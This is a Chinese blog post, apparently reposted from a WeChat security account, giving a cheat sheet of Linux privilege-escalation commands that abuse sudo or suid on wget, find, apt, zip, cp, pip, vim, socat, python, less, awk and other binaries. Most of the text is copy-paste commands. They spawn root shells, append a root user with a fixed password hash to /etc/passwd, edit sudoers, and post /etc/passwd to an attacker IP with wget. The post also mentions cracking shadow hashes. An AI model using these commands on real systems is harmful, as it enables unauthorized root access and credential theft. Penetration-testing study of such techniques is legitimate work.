Linux提权的一些方法

admin 2024年11月9日23:16:07评论8 views字数 2632阅读8分46秒阅读模式

Linux提权的一些方法

复习
之前的文章,关于配置导致Linux提权的有:suid、sudo、nfs、path、ld_preload、cron、docker、lxd、capability以及rbash绕过。可以参考菜单中的Linux提权栏。

漏洞

漏洞提权太多了,且一直更新,常用的有CVE-2016-5195、CVE-2019-14287、CVE-2021-3156、CVE-2021-3560、CVE-2021-4034、CVE-2022-0847、CVE-2022-2639、CVE-2022-23222、CVE-2023-0386等等。

介绍

这次主要针对的是suid和sudo,哪些命令在拥有了suid或者sudo的情况下可以进行权限的提升。后续命令均已sudo为例进行演示。

wget

思路:受害机使用wget把passwd文件发送到攻击机,攻击机添加一条root权限的用户,受害机再将修改后的passwd文件下载回来替换即可。

sudo wget --post-file=/etc/passwd 192.168.75.128nc -lvp 80 > passwdtest:$1$test$at615QShYKduQlx5z9Zm7/:0:0:,,,:/test:/bin/bashopenssl passwd -1 -salt test 123456python -m http.serversudo wget -O /etc/passwd http://192.168.75.128/passwdsu test

find

思路:利用find的exec参数来执行命令。

sudo find /home -exec /bin/bash ;

apt

思路1:使用apt更新前的环境变量配置参数,可执行命令。

sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash

思路2:使用apt的changelog查看相关软件更新日志,进入编辑,通过内联命令行提权。

sudo apt changelog ssh!/bin/sh

zip

思路:利用zip压缩时提供的unzip-command参数来执行命令。

sudo zip test.zip test.txt -T --unzip-command="sh -c /bin/bash"

time

思路:time可以直接跟sh、bash等命令行。

sudo time /bin/sh

taskset

思路:指定cpu核心后直接运行相关程序即可。

sudo taskset -c 0 /bin/sh

cp

思路:把passwd复制到tmp下,修改添加一个root权限的用户,再把修改后的cp复制回etc。

cd /tmpsudo cp /etc/passwd ./passwdecho 'test:$1$test$at615QShYKduQlx5z9Zm7/:0:0:,,,:/test:/bin/bash' >> ./passwdtail ./passwdsudo cp ./passwd /etc/passwd

git

思路:进入编辑模式查看帮助文档,调用内网命令行。

sudo git help add!/bin/sh

pip

思路:写一个python文件去调用sh,然后pip以root权限去install这个python文件。

cd /tmpmkdir setupcd setupecho "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > setup.pysudo pip install -e .

sed

思路:通过exec执行命令。

sudo sed -n 'e exec sh 1>&0' /tmp/test.txt

ed

思路:直接sudo运行ed,然后输入!/bin/sh进入内联命令行即可。

sudo ed!/bin/sh

tmux

思路:直接sudo tmux就可以。

sudo tmux

scp

思路1:通过scp的S参数,指定自己的加密脚本实现自定义的加密传输,脚本内容调用sh即可。

echo 'sh 0<&2 1>&2' > ./test.shsudo scp -S ./test.sh x y:

思路2:使用scp把passwd文件复制出来,修改起内容,再到回去。

sudo scp /etc/passwd ./vim ./passwdtest:$1$test$at615QShYKduQlx5z9Zm7/:0:0:,,,:/test:/bin/bashsudo scp ./passwd /etc/passwd

socat

思路:反弹shell的思路。

nohup sudo socat TCP-LiSTEN:1234 exec:/bin/bash &sudo socat TCP:127.0.0.1:1234 -

perl

思路:利用exec参数执行命令。

sudo perl -e 'exec "/bin/bash";'

vim

思路:直接修改sudoers文件,给自己添加权限(sudoers打开后会提示只读,可以使用wq!进行强制保存)。

sudo vim /etc/sudoerstest    ALL=(root) NOPASSWD: ALLsudo bash

python

思路:通过import导入pty库,调用bash。

sudo python -c 'import pty;pty.spawn("/bin/bash")'

less

思路:通过less浏览文件内容,底部输入!bash进入命令行。

sudo less /etc/hosts!bash

awk

思路:通过调用linux的system函数来打开bash.

sudo awk 'BEGIN {system("/bin/bash")}'

man

思路:通过man查看帮助文档,输入!bash进入内联命令行。

sudo man man!bash

vi

思路:sudo vi进入vi默认页,输入:!bash即可。

sudo vi:!bash

env

思路:直接sudo env /bin/bash即可。

sudo env /bin/bash

ftp

思路:进入ftp,输入!/bin/bash即可。

sudo ftp!/bin/bash

其它

上一篇的Linux反弹Shell的一些方法中,理论上都可以,只需要把反弹Shell的IP换成127.0.0.1就成。

暴破

如果有一些编辑文件或查看文件的命令,例如cat这种,则可以查看passwd和shadow的内容,复制出来,使用john破解。

愿大家健康开心,平安喜乐。

原文始发于微信公众号(aFa攻防实验室):Linux提权的一些方法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月9日23:16:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux提权的一些方法https://cn-sec.com/archives/1806810.html

发表评论

匿名网友 填写信息